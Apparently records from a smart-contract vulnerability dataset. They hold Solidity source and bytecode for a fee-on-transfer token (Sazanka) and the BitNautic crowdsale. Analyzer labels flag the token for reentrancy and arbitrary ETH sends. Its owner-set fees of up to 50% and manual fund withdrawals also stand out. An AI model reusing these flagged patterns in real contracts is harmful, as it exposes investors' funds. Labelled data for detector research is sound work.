IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610387578063c3c8cd80146103a7578063c9567bf9146103bc578063db92dbb6146103d1578063dd62ed3e146103e6578063e8078d941461042c57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610348578063a985ceef1461036857600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601a81527f53617a616e6b61207c20742e6d652f53617a616e6b61436c756200000000000060208201525b6040516101949190611bfd565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b55565b610441565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b15565b610458565b34801561021f57600080fd5b506101e56104c1565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb8565b6104d1565b005b34801561027257600080fd5b50610264610281366004611b80565b61057a565b34801561029257600080fd5b506101e56102a1366004611aa5565b6105f9565b3480156102b257600080fd5b5061026461061c565b3480156102c757600080fd5b506101e56102d6366004611aa5565b610649565b3480156102e757600080fd5b5061026461066b565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b5060408051808201909152600781526653415a414e4b4160c81b6020820152610187565b34801561035457600080fd5b506101bd610363366004611b55565b6106df565b34801561037457600080fd5b50601454600160a81b900460ff166101bd565b34801561039357600080fd5b506101e56103a2366004611aa5565b6106ec565b3480156103b357600080fd5b50610264610712565b3480156103c857600080fd5b50610264610748565b3480156103dd57600080fd5b506101e5610795565b3480156103f257600080fd5b506101e5610401366004611add565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043857600080fd5b506102646107ad565b600061044e338484610b60565b5060015b92915050565b6000610465848484610c84565b6104b784336104b285604051806060016040528060288152602001611dd6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611227565b610b60565b5060019392505050565b60006104cc30610649565b905090565b6011546001600160a01b0316336001600160a01b0316146104f157600080fd5b6033811061053e5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161053590611c50565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056f565b6001600160a01b0381166000908152600660205260408120546104529042611d40565b6011546001600160a01b0316336001600160a01b03161461063c57600080fd5b4761064681611261565b50565b6001600160a01b038116600090815260026020526040812054610452906112e6565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161053590611c50565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044e338484610c84565b6001600160a01b0381166000908152600660205260408120600101546104529042611d40565b6011546001600160a01b0316336001600160a01b03161461073257600080fd5b600061073d30610649565b90506106468161136a565b6000546001600160a01b031633146107725760405162461bcd60e51b815260040161053590611c50565b6014805460ff60a01b1916600160a01b179055610790426078611cf5565b601555565b6014546000906104cc906001600160a01b0316610649565b6000546001600160a01b031633146107d75760405162461bcd60e51b815260040161053590611c50565b601454600160a01b900460ff16156108315760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610535565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086e3082683635c9adc5dea00000610b60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a757600080fd5b505afa1580156108bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108df9190611ac1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092757600080fd5b505afa15801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f9190611ac1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a757600080fd5b505af11580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190611ac1565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0f81610649565b600080610a246000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8757600080fd5b505af1158015610a9b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac09190611bd0565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5c9190611b9c565b5050565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610535565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610535565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610535565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610535565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610535565b6000546001600160a01b03848116911614801590610dd857506000546001600160a01b03838116911614155b156111ca57601454600160a81b900460ff1615610e58573360009081526006602052604090206002015460ff16610e5857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8357506013546001600160a01b03838116911614155b8015610ea857506001600160a01b03821660009081526005602052604090205460ff16155b1561100c57601454600160a01b900460ff16610f065760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610535565b60066009556004600a55601454600160a81b900460ff1615610fd257426015541115610fd257601054811115610f3b57600080fd5b6001600160a01b0382166000908152600660205260409020544211610fad5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610535565b610fb842602d611cf5565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100c57610fef42600f611cf5565b6001600160a01b0383166000908152600660205260409020600101555b600061101730610649565b601454909150600160b01b900460ff1615801561104257506014546001600160a01b03858116911614155b80156110575750601454600160a01b900460ff165b156111c857601454600160a81b900460ff16156110e4576001600160a01b03841660009081526006602052604090206001015442116110e45760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610535565b601454600160b81b900460ff161561114957600061110d600c548461150f90919063ffffffff16565b60145490915061113c9061113590859061112f906001600160a01b0316610649565b9061158e565b82906115ed565b90506111478161162f565b505b80156111b657600b5460145461117f916064916111799190611173906001600160a01b0316610649565b9061150f565b906115ed565b8111156111ad57600b546014546111aa916064916111799190611173906001600160a01b0316610649565b90505b6111b68161136a565b4780156111c6576111c647611261565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120c57506001600160a01b03831660009081526005602052604090205460ff165b15611215575060005b6112218484848461169d565b50505050565b6000818484111561124b5760405162461bcd60e51b81526004016105359190611bfd565b5060006112588486611d40565b95945050505050565b6011546001600160a01b03166108fc61127b8360026115ed565b6040518115909202916000818181858888f193505050501580156112a3573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112be8360026115ed565b6040518115909202916000818181858888f19350505050158015610b5c573d6000803e3d6000fd5b600060075482111561134d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610535565b60006113576116cb565b905061136383826115ed565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141457600080fd5b505afa158015611428573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144c9190611ac1565b8160018151811061146d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114939130911684610b60565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cc908590600090869030904290600401611c85565b600060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151e57506000610452565b600061152a8385611d21565b9050826115378583611d0d565b146113635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610535565b60008061159b8385611cf5565b9050838110156113635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610535565b600061136383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ee565b600a808210156116415750600a611655565b602882111561165257506028611655565b50805b61166081600261171c565b15611673578061166f81611d57565b9150505b611683600a61117983600661150f565b600955611696600a61117983600461150f565b600a555050565b806116aa576116aa61175e565b6116b584848461178c565b8061122157611221600e54600955600f54600a55565b60008060006116d8611883565b90925090506116e782826115ed565b9250505090565b6000818361170f5760405162461bcd60e51b81526004016105359190611bfd565b5060006112588486611d0d565b600061136383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c5565b60095415801561176e5750600a54155b1561177557565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179e876118f9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d09087611956565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ff908661158e565b6001600160a01b03891660009081526002602052604090205561182181611998565b61182b84836119e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189f82826115ed565b8210156118bc57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e65760405162461bcd60e51b81526004016105359190611bfd565b506118f18385611d72565b949350505050565b60008060008060008060008060006119168a600954600a54611a06565b92509250925060006119266116cb565b905060008060006119398e878787611a55565b919e509c509a509598509396509194505050505091939550919395565b600061136383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611227565b60006119a26116cb565b905060006119b0838361150f565b306000908152600260205260409020549091506119cd908261158e565b30600090815260026020526040902055505050565b6007546119ef9083611956565b6007556008546119ff908261158e565b6008555050565b6000808080611a1a6064611179898961150f565b90506000611a2d60646111798a8961150f565b90506000611a4582611a3f8b86611956565b90611956565b9992985090965090945050505050565b6000808080611a64888661150f565b90506000611a72888761150f565b90506000611a80888861150f565b90506000611a9282611a3f8686611956565b939b939a50919850919650505050505050565b600060208284031215611ab6578081fd5b813561136381611db2565b600060208284031215611ad2578081fd5b815161136381611db2565b60008060408385031215611aef578081fd5b8235611afa81611db2565b91506020830135611b0a81611db2565b809150509250929050565b600080600060608486031215611b29578081fd5b8335611b3481611db2565b92506020840135611b4481611db2565b929592945050506040919091013590565b60008060408385031215611b67578182fd5b8235611b7281611db2565b946020939093013593505050565b600060208284031215611b91578081fd5b813561136381611dc7565b600060208284031215611bad578081fd5b815161136381611dc7565b600060208284031215611bc9578081fd5b5035919050565b600080600060608486031215611be4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2957858101830151858201604001528201611c0d565b81811115611c3a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd45784516001600160a01b031683529383019391830191600101611caf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0857611d08611d86565b500190565b600082611d1c57611d1c611d9c565b500490565b6000816000190483118215151615611d3b57611d3b611d86565b500290565b600082821015611d5257611d52611d86565b500390565b6000600019821415611d6b57611d6b611d86565b5060010190565b600082611d8157611d81611d9c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064657600080fd5b801515811461064657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d24702bd6ef4c90e20a063539349a6aa8b3e12edfabddbe8105bb0dfb7a1b2464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,204
0xe9fc0c55f9f3a38c0e972d6444273ebdcc7aa46f
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Math * @dev Math operations with safety checks that throw on error */ library Math { function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } } contract Ownable { address internal owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public returns (bool) { require(newOwner != address(0x0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Unlocked } mapping (address => uint256) public deposited; address public wallet; State public state; event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != 0x0); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state != State.Refunding); deposited[investor] = deposited[investor].add(msg.value); } function unlock() onlyOwner public { require(state == State.Active); state = State.Unlocked; } function withdraw(address beneficiary, uint256 amount) onlyOwner public { require(beneficiary != 0x0); require(state == State.Unlocked); beneficiary.transfer(amount); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } interface MintableToken { function mint(address _to, uint256 _amount) external returns (bool); function transferOwnership(address newOwner) external returns (bool); } /** This contract will handle the KYC contribution caps and the AML whitelist. The crowdsale contract checks this whitelist everytime someone tries to buy tokens. */ contract BitNauticWhitelist is Ownable { using SafeMath for uint256; uint256 public usdPerEth; function BitNauticWhitelist(uint256 _usdPerEth) public { usdPerEth = _usdPerEth; } mapping(address => bool) public AMLWhitelisted; mapping(address => uint256) public contributionCap; /** * @dev sets the KYC contribution cap for one address * @param addr address * @param level uint8 * @return true if the operation was successful */ function setKYCLevel(address addr, uint8 level) onlyOwner public returns (bool) { if (level >= 3) { contributionCap[addr] = 50000 ether; // crowdsale hard cap } else if (level == 2) { contributionCap[addr] = SafeMath.div(500000 * 10 ** 18, usdPerEth); // KYC Tier 2 - 500k USD } else if (level == 1) { contributionCap[addr] = SafeMath.div(3000 * 10 ** 18, usdPerEth); // KYC Tier 1 - 3k USD } else { contributionCap[addr] = 0; } return true; } function setKYCLevelsBulk(address[] addrs, uint8[] levels) onlyOwner external returns (bool success) { require(addrs.length == levels.length); for (uint256 i = 0; i < addrs.length; i++) { assert(setKYCLevel(addrs[i], levels[i])); } return true; } /** * @dev adds the specified address to the AML whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function setAMLWhitelisted(address addr, bool whitelisted) onlyOwner public returns (bool) { AMLWhitelisted[addr] = whitelisted; return true; } function setAMLWhitelistedBulk(address[] addrs, bool[] whitelisted) onlyOwner external returns (bool) { require(addrs.length == whitelisted.length); for (uint256 i = 0; i < addrs.length; i++) { assert(setAMLWhitelisted(addrs[i], whitelisted[i])); } return true; } } contract NewBitNauticCrowdsale is Ownable, Pausable { using SafeMath for uint256; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); uint256 public ICOStartTime = 1531267200; // 11 Jul 2018 00:00 GMT uint256 public ICOEndTime = 1537056000; // 16 Sep 2018 00:00 GMT uint256 public constant tokenBaseRate = 500; // 1 ETH = 500 BTNT bool public manualBonusActive = false; uint256 public manualBonus = 0; uint256 public constant crowdsaleSupply = 35000000 * 10 ** 18; uint256 public tokensSold = 0; uint256 public constant softCap = 2500000 * 10 ** 18; uint256 public teamSupply = 3000000 * 10 ** 18; // 6% of token cap uint256 public bountySupply = 2500000 * 10 ** 18; // 5% of token cap uint256 public reserveSupply = 5000000 * 10 ** 18; // 10% of token cap uint256 public advisorSupply = 2500000 * 10 ** 18; // 5% of token cap uint256 public founderSupply = 2000000 * 10 ** 18; // 4% of token cap // amount of tokens each address will receive at the end of the crowdsale mapping (address => uint256) public creditOf; // amount of ether invested by each address mapping (address => uint256) public weiInvestedBy; // refund vault used to hold funds while crowdsale is running RefundVault private vault; MintableToken public token; BitNauticWhitelist public whitelist; constructor(MintableToken _token, BitNauticWhitelist _whitelist, address _beneficiary) public { token = _token; whitelist = _whitelist; vault = new RefundVault(_beneficiary); } function() public payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) whenNotPaused public payable { require(beneficiary != 0x0); require(validPurchase()); // checks if the ether amount invested by the buyer is lower than his contribution cap require(SafeMath.add(weiInvestedBy[msg.sender], msg.value) <= whitelist.contributionCap(msg.sender)); // compute the amount of tokens given the baseRate uint256 tokens = SafeMath.mul(msg.value, tokenBaseRate); // add the bonus tokens depending on current time tokens = tokens.add(SafeMath.mul(tokens, getCurrentBonus()).div(1000)); // check hardcap require(SafeMath.add(tokensSold, tokens) <= crowdsaleSupply); // update total token sold counter tokensSold = SafeMath.add(tokensSold, tokens); // keep track of the token credit and ether invested by the buyer creditOf[beneficiary] = creditOf[beneficiary].add(tokens); weiInvestedBy[msg.sender] = SafeMath.add(weiInvestedBy[msg.sender], msg.value); emit TokenPurchase(msg.sender, beneficiary, msg.value, tokens); vault.deposit.value(msg.value)(msg.sender); } function privateSale(address beneficiary, uint256 tokenAmount) onlyOwner public { require(beneficiary != 0x0); require(SafeMath.add(tokensSold, tokenAmount) <= crowdsaleSupply); // check hardcap tokensSold = SafeMath.add(tokensSold, tokenAmount); assert(token.mint(beneficiary, tokenAmount)); } // for payments in other currencies function offchainSale(address beneficiary, uint256 tokenAmount) onlyOwner public { require(beneficiary != 0x0); require(SafeMath.add(tokensSold, tokenAmount) <= crowdsaleSupply); // check hardcap tokensSold = SafeMath.add(tokensSold, tokenAmount); // keep track of the token credit of the buyer creditOf[beneficiary] = creditOf[beneficiary].add(tokenAmount); emit TokenPurchase(beneficiary, beneficiary, 0, tokenAmount); } // this function can be called by the contributor to claim his BTNT tokens at the end of the ICO function claimBitNauticTokens() public returns (bool) { return grantContributorTokens(msg.sender); } // if the ICO is finished and the goal has been reached, this function will be used to mint and transfer BTNT tokens to each contributor function grantContributorTokens(address contributor) public returns (bool) { require(creditOf[contributor] > 0); require(whitelist.AMLWhitelisted(contributor)); require(now > ICOEndTime && tokensSold >= softCap); assert(token.mint(contributor, creditOf[contributor])); creditOf[contributor] = 0; return true; } // returns the token sale bonus permille depending on the current time function getCurrentBonus() public view returns (uint256) { if (manualBonusActive) return manualBonus; return Math.min(340, Math.max(100, (340 - (now - ICOStartTime) / (60 * 60 * 24) * 4))); } function setManualBonus(uint256 newBonus, bool isActive) onlyOwner public returns (bool) { manualBonus = newBonus; manualBonusActive = isActive; return true; } function setICOEndTime(uint256 newEndTime) onlyOwner public returns (bool) { ICOEndTime = newEndTime; return true; } function validPurchase() internal view returns (bool) { bool duringICO = ICOStartTime <= now && now <= ICOEndTime; bool minimumContribution = msg.value >= 0.05 ether; return duringICO && minimumContribution; } function hasEnded() public view returns (bool) { return now > ICOEndTime; } function unlockVault() onlyOwner public { if (tokensSold >= softCap) { vault.unlock(); } } function withdraw(address beneficiary, uint256 amount) onlyOwner public { vault.withdraw(beneficiary, amount); } bool isFinalized = false; function finalizeCrowdsale() onlyOwner public { require(!isFinalized); require(now > ICOEndTime); if (tokensSold < softCap) { vault.enableRefunds(); } isFinalized = true; } // if crowdsale is unsuccessful, investors can claim refunds here function claimRefund() public { require(isFinalized); require(tokensSold < softCap); vault.refund(msg.sender); } function transferTokenOwnership(address newTokenOwner) onlyOwner public returns (bool) { return token.transferOwnership(newTokenOwner); } function grantBountyTokens(address beneficiary) onlyOwner public { require(bountySupply > 0); token.mint(beneficiary, bountySupply); bountySupply = 0; } function grantReserveTokens(address beneficiary) onlyOwner public { require(reserveSupply > 0); token.mint(beneficiary, reserveSupply); reserveSupply = 0; } function grantAdvisorsTokens(address beneficiary) onlyOwner public { require(advisorSupply > 0); token.mint(beneficiary, advisorSupply); advisorSupply = 0; } function grantFoundersTokens(address beneficiary) onlyOwner public { require(founderSupply > 0); token.mint(beneficiary, founderSupply); founderSupply = 0; } function grantTeamTokens(address beneficiary) onlyOwner public { require(teamSupply > 0); token.mint(beneficiary, teamSupply); teamSupply = 0; } }
0x6080604052600436106101d45763ffffffff60e060020a60003504166303652c4e81146101df57806303d41eb614610206578063079caa141461021b5780630bf318a31461023c57806313a2852d1461025157806321cf51321461027d57806321e6b53d1461029a5780632596c93b146102bb5780632cfac6ec146102d05780633814253f146102e55780633f4ba83a14610306578063518ab2a81461031b57806356e8596f1461033057806357e5eea5146103515780635c975abb146103665780635cb100161461037b57806362f690391461039f5780636f08effa146103b457806375807250146103c957806376e08739146103ea57806376e6dbc71461040b578063798bede1146104205780638456cb591461043557806386852fd71461044a578063906a26e01461045f57806393e59dc1146104745780639694f039146104a55780639d8d22f4146104ba578063a242f049146104db578063a85b13b9146104f0578063b5545a3c14610505578063cdcb3cdb1461051a578063d1f4df471461052f578063d50a3d2c14610550578063e40a955c14610574578063ec8ac4d814610595578063ecb70fb7146105a9578063f2fde38b146105be578063f3fef3a3146105df578063fc0c546a14610603575b6101dd33610618565b005b3480156101eb57600080fd5b506101f46108ba565b60408051918252519081900360200190f35b34801561021257600080fd5b506101f46108c0565b34801561022757600080fd5b506101dd600160a060020a03600435166108c6565b34801561024857600080fd5b506101dd61097d565b34801561025d57600080fd5b50610269600435610a60565b604080519115158252519081900360200190f35b34801561028957600080fd5b506102696004356024351515610a81565b3480156102a657600080fd5b50610269600160a060020a0360043516610ab6565b3480156102c757600080fd5b50610269610b68565b3480156102dc57600080fd5b506101f4610b71565b3480156102f157600080fd5b506101dd600160a060020a0360043516610b77565b34801561031257600080fd5b506101dd610c2e565b34801561032757600080fd5b506101f4610ca4565b34801561033c57600080fd5b50610269600160a060020a0360043516610caa565b34801561035d57600080fd5b506101f4610e50565b34801561037257600080fd5b50610269610e9c565b34801561038757600080fd5b506101dd600160a060020a0360043516602435610eac565b3480156103ab57600080fd5b506101dd610f90565b3480156103c057600080fd5b506101f4611029565b3480156103d557600080fd5b506101f4600160a060020a036004351661102f565b3480156103f657600080fd5b506101f4600160a060020a0360043516611041565b34801561041757600080fd5b506101f4611053565b34801561042c57600080fd5b506101f4611059565b34801561044157600080fd5b506101dd61105f565b34801561045657600080fd5b506101f46110da565b34801561046b57600080fd5b506101f46110e0565b34801561048057600080fd5b506104896110ef565b60408051600160a060020a039092168252519081900360200190f35b3480156104b157600080fd5b506101f46110fe565b3480156104c657600080fd5b506101dd600160a060020a0360043516611104565b3480156104e757600080fd5b506101f46111bb565b3480156104fc57600080fd5b506102696111c1565b34801561051157600080fd5b506101dd6111cc565b34801561052657600080fd5b506101f4611262565b34801561053b57600080fd5b506101dd600160a060020a0360043516611271565b34801561055c57600080fd5b506101dd600160a060020a0360043516602435611328565b34801561058057600080fd5b506101dd600160a060020a0360043516611417565b6101dd600160a060020a0360043516610618565b3480156105b557600080fd5b506102696114ce565b3480156105ca57600080fd5b50610269600160a060020a03600435166114d6565b3480156105eb57600080fd5b506101dd600160a060020a036004351660243561156e565b34801561060f57600080fd5b5061048961160f565b6000805460a060020a900460ff161561063057600080fd5b600160a060020a038216151561064557600080fd5b61064d61161e565b151561065857600080fd5b600f54604080517ffb678f290000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163fb678f29916024808201926020929091908290030181600087803b1580156106be57600080fd5b505af11580156106d2573d6000803e3d6000fd5b505050506040513d60208110156106e857600080fd5b5051336000908152600c60205260409020546107049034611656565b111561070f57600080fd5b61071b346101f4611663565b90506107506107436103e861073784610732610e50565b611663565b9063ffffffff61168c16565b829063ffffffff61165616565b90506a1cf389cd46047d0300000061076a60055483611656565b111561077557600080fd5b61078160055482611656565b600555600160a060020a0382166000908152600b60205260409020546107ad908263ffffffff61165616565b600160a060020a0383166000908152600b6020908152604080832093909355338252600c905220546107df9034611656565b336000818152600c60209081526040918290209390935580513481529283018490528051600160a060020a038616937f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad1892908290030190a3600d54604080517ff340fa010000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163f340fa01913491602480830192600092919082900301818588803b15801561089d57600080fd5b505af11580156108b1573d6000803e3d6000fd5b50505050505050565b60015481565b60085481565b600054600160a060020a031633146108dd57600080fd5b6009546000106108ec57600080fd5b600e546009546040805160e060020a6340c10f19028152600160a060020a0385811660048301526024820193909352905191909216916340c10f199160448083019260209291908290030181600087803b15801561094957600080fd5b505af115801561095d573d6000803e3d6000fd5b505050506040513d602081101561097357600080fd5b5050600060095550565b600054600160a060020a0316331461099457600080fd5b600f5460a060020a900460ff16156109ab57600080fd5b60025442116109b957600080fd5b6a02116545850052128000006005541015610a3a57600d60009054906101000a9004600160a060020a0316600160a060020a0316638c52dc416040518163ffffffff1660e060020a02815260040160006040518083038160